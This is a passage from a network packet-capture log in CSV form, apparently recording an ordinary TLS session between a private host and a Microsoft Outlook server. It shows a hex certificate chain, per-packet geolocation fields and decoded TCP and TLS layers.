ab8c67b62dd3bf787f4b0c67b94e1f8bd4557c05e1cf94703872b7659d9d6b760a6a69345ed1ce3eaced7f67a5dd8602ec55f3d3399c74fa02ec3a968dfee6e469755036a93bbc8cc638f1dab4b9302b893230a9b2388428609bd6f131ff09cae0ec1d93611bc7c9e2248f79b20c61fdee2ddf231f4d4fac401b2ab2d10ffed749e423ed16e7453b764cc559f40d43706510527fbfa6aa02cfe8dc87aa24cbe7098cccfaaf7c547a88917c16158bb7a9f761854521fa88bf9670202cd6ba70de3e167b85de6247353fc1a966b655f755d31dd9e40434f3979f4105f6de780b3200f77ed35ece89d60ec1183aa4bd0203010001a382052530820521301f0603551d23041830168014748580c066c7df37decfbd2937aa031dbeedcd17301d0603551d0e041604147645e5c3cb9cfefa5ffe2455e8bc60ddbeaa93e1308201bd0603551d11048201b4308201b0820b6f75746c6f6f6b2e636f6d820d2a2e686f746d61696c2e636f6d82162a2e696e7465726e616c2e6f75746c6f6f6b2e636f6d820a2a2e6c6976652e636f6d820c2a2e6f66666963652e636f6d820f2a2e6f66666963653336352e636f6d820d2a2e6f75746c6f6f6b2e636f6d82172a2e6f75746c6f6f6b2e6f66666963653336352e636f6d821b6174746163686d656e742e6f75746c6f6f6b2e6c6976652e6e6574821d6174746163686d656e742e6f75746c6f6f6b2e6f66666963652e6e657482206174746163686d656e742e6f75746c6f6f6b2e6f66666963657070652e6e657482166174746163686d656e74732e6f66666963652e6e6574821a6174746163686d656e74732d7364662e6f66666963652e6e6574821d6363732e6c6f67696e2e6d6963726f736f66746f6e6c696e652e636f6d820b686f746d61696c2e636f6d82166d61696c2e73657276696365732e6c6976652e636f6d820d6f66666963653336352e636f6d82126f75746c6f6f6b2e6f66666963652e636f6d82147375627374726174652e6f66666963652e636f6d82187375627374726174652d7364662e6f66666963652e636f6d303e0603551d20043730353033060667810c0102023029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f435053300e0603551d0f0101ff0404030205a030130603551d25040c300a06082b0601050507030130819f0603551d1f0481973081943048a046a0448642687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c3048a046a0448642687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c30818706082b06010505070101047b3079302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305106082b060105050730028645687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e637274300c0603551d130101ff040230003082017d060a2b06010401d6790204020482016d048201690167007600c2317e574519a345ee7f38deb29041ebc7c2215a22bf7fd5b5ad769ad90e52cd0000019d0227fa81000004030047304502206503d2b3b95c5a3afb9c236d63a49827a23cff959c02b28693fa4b0ba1ff79f3022100926107971c235c133aa4381f9f1943c10e6f9f065a008a1cdd69c24a3ae84e9e007500d809553b944f7affc816196f944f85abb0f8fc5e8755260f15d12e72bb454b140000019d0227fab60000040300463044022059fb3ceca64c8642f90336570c90b37788e061fd0e5056d8983896d89b8f1898022070907a4ed12544ece63de2a47b3c7e1bbc48cd7f17cb88713224fd1d05483333007600944e4387faecc1ef81f3192426a8186501c7d35f3802013f72677d55372e19d80000019d0227fa8e0000040300473045022100bd0d16c172d297d7e77a360b09f5ac4b969076787aeaa5e5dd33894d3d11800802207946295b526fb444aeca904888e1aedaa188ade2b50abfb705372ad7601ac60d300d06092a864886f70d01010b05000382010100c8d99f18d82dbd8fdfd8d58dd4404db27c3825d173ec1750fc69596cf7f7268f13f7b982f074ddce49d333cf5f6e802435c86f6c265876cc895636741eec7a543bd2b4f58372d61a171e6753cb35bf16babf0feedd032ec85c7d8d80f51cb75209525f57ec8d10ddc3a4e7923009d34634b8383d79f461ebd1752b81f5b72c63ebc2d5acb1af1597ae4fea4a04e746130aa2238fed38e5e6423e2a49daee7f872b2f4210dad2bec178d6ddb3d12812dac0af7386a5a6253caef1cfd70339d142e95290274b6daff341fef1275f1bc0ec3bdc5c30368794281a81ffdaa1ba0b87869fcf9f7bc974fb79d870c220432bdedd63d1d0710ab1758da55ed1de171b800004cc308204c8308203b0a00302010202100cf5bd062b5602f47ab8502c23ccf066300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3231303333303030303030305a170d3331303332393233353935395a3059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c53205253412053484132353620323032302043413130820122300d06092a864886f70d01010105000382010f003082010a0282010100ccf710624fa6bb636fed905256c56d277b7a12568af1f4f9d6e7e18fbd95abf260411570db1200fa270ab557385b7db2519371950e6a41945b351bfa7bfabbc5be2430fe56efc4f37d97e314f5144dcba710f216eaab22f031221161699026ba78d9971fe37d66ab75449573c8acffef5d0a8a5943e1acb23a0ff348fcd76b37c163dcde46d6db45fe7d23fd90e851071e51a35fed4946547f2c88c5f4139c97153c03e8a139dc690c32c1af16574c9447427ca2c89c7de6d44d54af4299a8c104c2779cd648e4ce11e02a8099f04370cf3f766bd14c49ab245ec20d82fd46a8ab6c93cc6252427592f89afa5e5eb2b061e51f1fb97f0998e83dfa837f4769a10203010001a38201823082017e30120603551d130101ff040830060101ff020100301d0603551d0e04160414748580c066c7df37decfbd2937aa031dbeedcd17301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d2004363034300b06096086480186fd6c02013007060567810c01013008060667810c0102013008060667810c0102023008060667810c010203300d06092a864886f70d01010b0500038201010090f170cb289769977c74fdc0fa267b53abadcd65fdba9c069c8ad75a4387ed4d4c565fadc1c5b505202e59d1ff4af5a02ad8b095adc92e4a3bd7a7f66f8829fc303f2484bbc3b77b93072caf876b7633ed005552b2599ee4b9d0f3dfe70ffeddf8c4b910728109045fcf979e2e32758ecf9a58d257317e370181b2666d291ab166096dd16e90f4b9fa2f0114c55c566401d97d87a838539f8b5d466d5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f0798160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303631333037313930325a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd1702100590cbd365667f4104a9a2690c5b7c738000180f32303236303631333037303330305aa011180f32303236303632303036303330305a300d06092a864886f70d01010b0500038201010008c9074d0dd36abb07ad044c4001d5c82775d6ec9153a398f99e260962bf9f6c76ff626e32527f2b854b22ca6ebe904f3676c4d87624e849aa94d7f1f2d311534cd786873fbe797e74e4c93608adaef5617f6e837c793b3b99ab40faf0d6fefe1ef9bc7f14134e1d29a05415044b2fa31af6c27171daae73931d5cfe34b50bf9972aeb5b617a77097b90b177491977d3248564b3c45f885ad2f37ad4d0b23dce870815bb4a42f6ce020c480c1fd71a0af1f05f2c5a2323a291ebc72758f748ac41052352a550c76cc53de81757b02202799096c92182478f69dc25a4583c570852de3e80bb9e835c57c11f5825df1e155152b0022dac4ae9130de136772854940c00016903001861045cd0ec61ae20617bfd90d679a21a68104a8c7527e87ba5fa6961ad1418421d648c465714fdc42c075b854fba\"\"}}]\"\n2026-06-14 14:28:43.880639,60,TCP 10.152.152.11:64008 -> 52.98.232.34:443,10.152.152.11,52.98.232.34,64008,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,A,,,Ether > IP > TCP,3,TCP A Seq=53881163 Ack=3746062376,bc24112907bbbc2411360d0c080045000028af9a400080068c0d0a98980b3462e822fa0801bb0336294bdf4860285010040084f60000,\".$.)...$.6\n...E..(..@....\n...4b.\"\".....6)K.H`(P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 44954, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 35853, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.98.232.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 443, \"\"seq\"\": 53881163, \"\"ack\"\": 3746062376, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 34038, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:43.880665,61,TCP 52.98.232.34:443 -> 10.152.152.11:64008,52.98.232.34,10.152.152.11,443,64008,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=3746062376 Ack=53881163,bc2411360d0cbc24112907bb080045000164c88540004006b1e63462e8220a98980b01bbfa08df4860280336294b5018003fc07e000060dbe014319989ba28d1496aa96e97aed64a62c86f60a29591f88cb2acc6ef84914127954f6a8085db6b96727b72a306f8eebd1e080401008ec345940db2e9ed07292ed6cd798eceb1c0261de7531a955c5afb6beb3b808f6083d36f72c55696261eae9f1603fd2f95370a1bfefb2ac42a74311ac334a850b42a143fc12b3a57105596fdf35e6ea2bace1e287542845230401bd145ae3d23b5c62f1017fadbb900a86e39a6475ecc361141a6884bbd759622308fec3d1ae75588a64d8d5d5b6c548989534648a36e7afb71a68a178d46ce292a18316aec044a6699411a3baf408edd674d6de1b989303b7f3b52886f89cea5a71bcfa1be3a67937de84036f6b306637b317ab22dc508256ff0d3f29e5e78d336c0550754f1f1f0cf0d4022a3b7317ae1a94f118371e60c139501f41b1824cddbcd906bcdd10e000000,\"`...1...(.Ij.n...Jb.o`...........A'.Oj...k.r{r............E.\n....)...y....&..S..\\Z.k.;..`..or.V.&....../.7\n...*.*t1..4.P.*.?.+:W.U...^n....(uB.R0@..E.=#../.......n9.G^.6.A..K.u.\"\"0..=..U..M.][lT..SFH.nz.q....F.)*.1j..Jf.A.;.@..gMm...0;.;R.o........:g.}.@6...c{1z.-..%o....^x.6.U.T....\n@\"\"..1z..O..q........$....k......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 356, \"\"id\"\": 51333, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 45542, \"\"src\"\": \"\"52.98.232.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64008, \"\"seq\"\": 3746062376, \"\"ack\"\": 53881163, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 49278, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"60dbe014319989ba28d1496aa96e97aed64a62c86f60a29591f88cb2acc6ef84914127954f6a8085db6b96727b72a306f8eebd1e080401008ec345940db2e9ed07292ed6cd798eceb1c0261de7531a955c5afb6beb3b808f6083d36f72c55696261eae9f1603fd2f95370a1bfefb2ac42a74311ac334a850b42a143fc12b3a57105596fdf35e6ea2bace1e287542845230401bd145ae3d23b5c62f1017fadbb900a86e39a6475ecc361141a6884bbd759622308fec3d1ae75588a64d8d5d5b6c548989534648a36e7afb71a68a178d46ce292a18316aec044a6699411a3baf408edd674d6de1b989303b7f3b52886f89cea5a71bcfa1be3a67937de84036f6b306637b317ab22dc508256ff0d3f29e5e78d336c0550754f1f1f0cf0d4022a3b7317ae1a94f118371e60c139501f41b1824cddbcd906bcdd10e000000\"\"}}]\"\n2026-06-14 14:28:43.880766,62,TCP 10.152.152.11:64008 -> 52.98.232.34:443,10.152.152.11,52.98.232.34,64008,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,A,,,Ether > IP > TCP,3,TCP A Seq=53881163 Ack=3746062692,bc24112907bbbc2411360d0c080045000028af9b400080068c0c0a98980b3462e822fa0801bb0336294bdf486164501003fe83bc0000,\".$.)...$.6\n...E..(..@.....\n...4b.\"\".....6)K.HadP.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 44955, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 35852, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.98.232.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 443, \"\"seq\"\": 53881163, \"\"ack\"\": 3746062692, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1022, \"\"chksum\"\": 33724, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:43.884326,63,TCP 10.152.152.11:64008 -> 52.98.232.34:443,10.152.152.11,52.98.232.34,64008,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=53881163 Ack=3746062692,bc24112907bbbc2411360d0c0800450000c6af9c400080068b6d0a98980b3462e822fa0801bb0336294bdf486164501803fecfb90000160303006610000062610433cd956960826e746de5c8353e1ad9ed30c6a2a0e47ba03192e6f01299f8ca8e738af4b5e4605cfad23843662377adf7fee13c1f250e8170d27bb6e0e176c71a839d3ff90b10ae0dcc347eaaaa78dda3d20b9deb1ee07a9adf9dc7a7717bc6bf14030300010116030300280000000000000000fa7336584c73dadf3b33efc72c051d15ed5a9e494106fedaa3f7bbe2ebd64220,\"a.3..i`.ntm..5>...0....{.1........s....`\\..8Cf#w....<.%..p.{...v....?....\n.4~..x........z.....q{..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 198, \"\"id\"\": 44956, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 35693, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.98.232.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 443, \"\"seq\"\": 53881163, \"\"ack\"\": 3746062692, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1022, \"\"chksum\"\": 53177, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 102, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientKeyExchange  msgtype=client_key_exchange msglen=98 exchkeys=<Raw  load=b'a\\\\x043\\\\xcd\\\\x95i`\\\\x82ntm\\\\xe5\\\\xc85>\\\\x1a\\\\xd9\\\\xed0\\\\xc6\\\\xa2\\\\xa0\\\\xe4{\\\\xa01\\\\x92\\\\xe6\\\\xf0\\\\x12\\\\x99\\\\xf8\\\\xca\\\\x8es\\\\x8a\\\\xf4\\\\xb5\\\\xe4`\\\\\\\\\\\\xfa\\\\xd28Cf#w\\\\xad\\\\xf7\\\\xfe\\\\xe1<\\\\x1f%\\\\x0e\\\\x81p\\\\xd2{\\\\xb6\\\\xe0\\\\xe1v\\\\xc7\\\\x1a\\\\x83\\\\x9d?\\\\xf9\\\\x0b\\\\x10\\\\xae\\\\r\\\\xcc4~\\\\xaa\\\\xaax\\\\xdd\\\\xa3\\\\xd2\\\\x0b\\\\x9d\\\\xeb\\\\x1e\\\\xe0z\\\\x9a\\\\xdf\\\\x9d\\\\xc7\\\\xa7q{\\\\xc6\\\\xbf' |> |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <Raw  load=b'\\\\xfas6XLs\\\\xda\\\\xdf;3\\\\xef\\\\xc7,\\\\x05\\\\x1d\\\\x15\\\\xedZ\\\\x9eIA\\\\x06\\\\xfe\\\\xda\\\\xa3\\\\xf7\\\\xbb\\\\xe2\\\\xeb\\\\xd6B ' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:43.884337,64,TCP 52.98.232.34:443 -> 10.152.152.11:64008,52.98.232.34,10.152.152.11,443,64008,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3746062692 Ack=53881321,bc2411360d0cbc24112907bb080045000028c88640004006b3213462e8220a98980b01bbfa08df486164033629e95010003fbf420000,\".$.6\n..$.)....E..(..@.@..!4b.\"\"\n........Had.6).P..?.B..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 51334, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 45857, \"\"src\"\": \"\"52.98.232.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64008, \"\"seq\"\": 3746062692, \"\"ack\"\": 53881321, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 48962, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:45.066489,65,TCP 52.98.232.34:443 -> 10.152.152.11:64008,52.98.232.34,10.152.152.11,443,64008,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS > TLS,7,TCP PA Seq=3746062692 Ack=53881321,bc2411360d0cbc24112907bb0800450001d3c88740004006b1753462e8220a98980b01bbfa08df486164033629e95018003fc0ed0000160303012e0400012a00008ca00124000000000ab61cbee703d443bc0e0931b62de9e7bb8353c8cfdcacd1d054ec6949be812eb1cd2188276a5571916adb9ac17ec70b7c5bcfec62db4fac6e7973c3c20d30c49714c9fa8a63e327e861e0856fa3c95d3ac73c1b0e56f4f84f60b4527cbd1c2f8ea3bf54bc56655e3b980b93f0a04df8db810bc10018b09c435e3af3bbc76168e266f421b19eee17e9b60bcc71cec95b397b75db8e1303fd40edbf567a5aaa1df8f363b98f96e49bcbecec8f434251f82c2d8f3e3d7cba274bc884411b8e65afab4b35d408fdd67c6d258ac07e360814166be72d91d86bdaadcff9eccf58d6e8de15a3308d21a06cb2ca409dad3a46b61421741eed5a6e5195e74a6eb8efadbc9c0dcc5ddad32a2ad33c5ee29bef77c35239e3851449cad90500b7d6119d43d914030300010116030300280000000000000000dedeee1abe8c454ab768666133cfd583c343cafd7483fbbacfc3ebb6d46800af17030300400000000000000001ca4497754b1ba079b49a9f02f9924244a6f292638268578d2cdbb455340889a64371cdbe48f10b364896f6aabc42d0f826bc0c37d37feb53,......EJ.hfa3....C..t........h..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 467, \"\"id\"\": 51335, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 45429, \"\"src\"\": \"\"52.98.232.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64008, \"\"seq\"\": 3746062692, \"\"ack\"\": 53881321, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 49389, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 302, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSNewSessionTicket  msgtype=session_ticket msglen=298 lifetime=36000 ticketlen=292 ticket=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\n\\\\xb6\\\\x1c\\\\xbe\\\\xe7\\\\x03\\\\xd4C\\\\xbc\\\\x0e\\\\t1\\\\xb6-\\\\xe9\\\\xe7\\\\xbb\\\\x83S\\\\xc8\\\\xcf\\\\xdc\\\\xac\\\\xd1\\\\xd0T\\\\xeciI\\\\xbe\\\\x81.\\\\xb1\\\\xcd!\\\\x88'jUq\\\\x91j\\\\xdb\\\\x9a\\\\xc1~\\\\xc7\\\\x0b|[\\\\xcf\\\\xecb\\\\xdbO\\\\xacnys\\\\xc3\\\\xc2\\\\r0\\\\xc4\\\\x97\\\\x14\\\\xc9\\\\xfa\\\\x8ac\\\\xe3'\\\\xe8a\\\\xe0\\\\x85o\\\\xa3\\\\xc9]:\\\\xc7<\\\\x1b\\\\x0eV\\\\xf4\\\\xf8O`\\\\xb4R|\\\\xbd\\\\x1c/\\\\x8e\\\\xa3\\\\xbfT\\\\xbcVe^;\\\\x98\\\\x0b\\\\x93\\\\xf0\\\\xa0M\\\\xf8\\\\xdb\\\\x81\\\\x0b\\\\xc1\\\\x00\\\\x18\\\\xb0\\\\x9cC^:\\\\xf3\\\\xbb\\\\xc7ah\\\\xe2f\\\\xf4!\\\\xb1\\\\x9e\\\\xee\\\\x17\\\\xe9\\\\xb6\\\\x0b\\\\xccq\\\\xce\\\\xc9[9{u\\\\xdb\\\\x8e\\\\x13\\\\x03\\\\xfd@\\\\xed\\\\xbfVzZ\\\\xaa\\\\x1d\\\\xf8\\\\xf3c\\\\xb9\\\\x8f\\\\x96\\\\xe4\\\\x9b\\\\xcb\\\\xec\\\\xec\\\\x8fCBQ\\\\xf8,-\\\\x8f>=|\\\\xba'K\\\\xc8\\\\x84A\\\\x1b\\\\x8ee\\\\xaf\\\\xabK5\\\\xd4\\\\x08\\\\xfd\\\\xd6|m%\\\\x8a\\\\xc0~6\\\\x08\\\\x14\\\\x16k\\\\xe7-\\\\x91\\\\xd8k\\\\xda\\\\xad\\\\xcf\\\\xf9\\\\xec\\\\xcfX\\\\xd6\\\\xe8\\\\xde\\\\x15\\\\xa30\\\\x8d!\\\\xa0l\\\\xb2\\\\xca@\\\\x9d\\\\xad:F\\\\xb6\\\\x14!t\\\\x1e\\\\xedZnQ\\\\x95\\\\xe7Jn\\\\xb8\\\\xef\\\\xad\\\\xbc\\\\x9c\\\\r\\\\xcc]\\\\xda\\\\xd3**\\\\xd3<^\\\\xe2\\\\x9b\\\\xefw\\\\xc3R9\\\\xe3\\\\x85\\\\x14I\\\\xca\\\\xd9\\\\x05\\\\x00\\\\xb7\\\\xd6\\\\x11\\\\x9dC\\\\xd9\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <Raw  load=b'\\\\xde\\\\xde\\\\xee\\\\x1a\\\\xbe\\\\x8cEJ\\\\xb7hfa3\\\\xcf\\\\xd5\\\\x83\\\\xc3C\\\\xca\\\\xfdt\\\\x83\\\\xfb\\\\xba\\\\xcf\\\\xc3\\\\xeb\\\\xb6\\\\xd4h\\\\x00\\\\xaf' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 64, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\xcaD\\\\x97uK\\\\x1b\\\\xa0y\\\\xb4\\\\x9a\\\\x9f\\\\x02\\\\xf9\\\\x92BD\\\\xa6\\\\xf2\\\\x92c\\\\x82hW\\\\x8d,\\\\xdb\\\\xb4U4\\\\x08\\\\x89\\\\xa6Cq\\\\xcd\\\\xbeH\\\\xf1\\\\x0b6H\\\\x96\\\\xf6\\\\xaa\\\\xbcB\\\\xd0\\\\xf8&\\\\xbc\\\\x0c7\\\\xd3\\\\x7f\\\\xebS' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:45.066843,66,TCP 10.152.152.11:64008 -> 52.98.232.34:443,10.152.152.11,52.98.232.34,64008,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,A,,,Ether > IP > TCP,3,TCP A Seq=53881321 Ack=3746063119,bc24112907bbbc2411360d0c080045000028af9d400080068c0a0a98980b3462e822fa0801bb033629e9df48630f501003fd81740000,\".$.)...$.6\n...E..(..@....\n\n...4b.\"\".....6)..Hc.P....t..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": 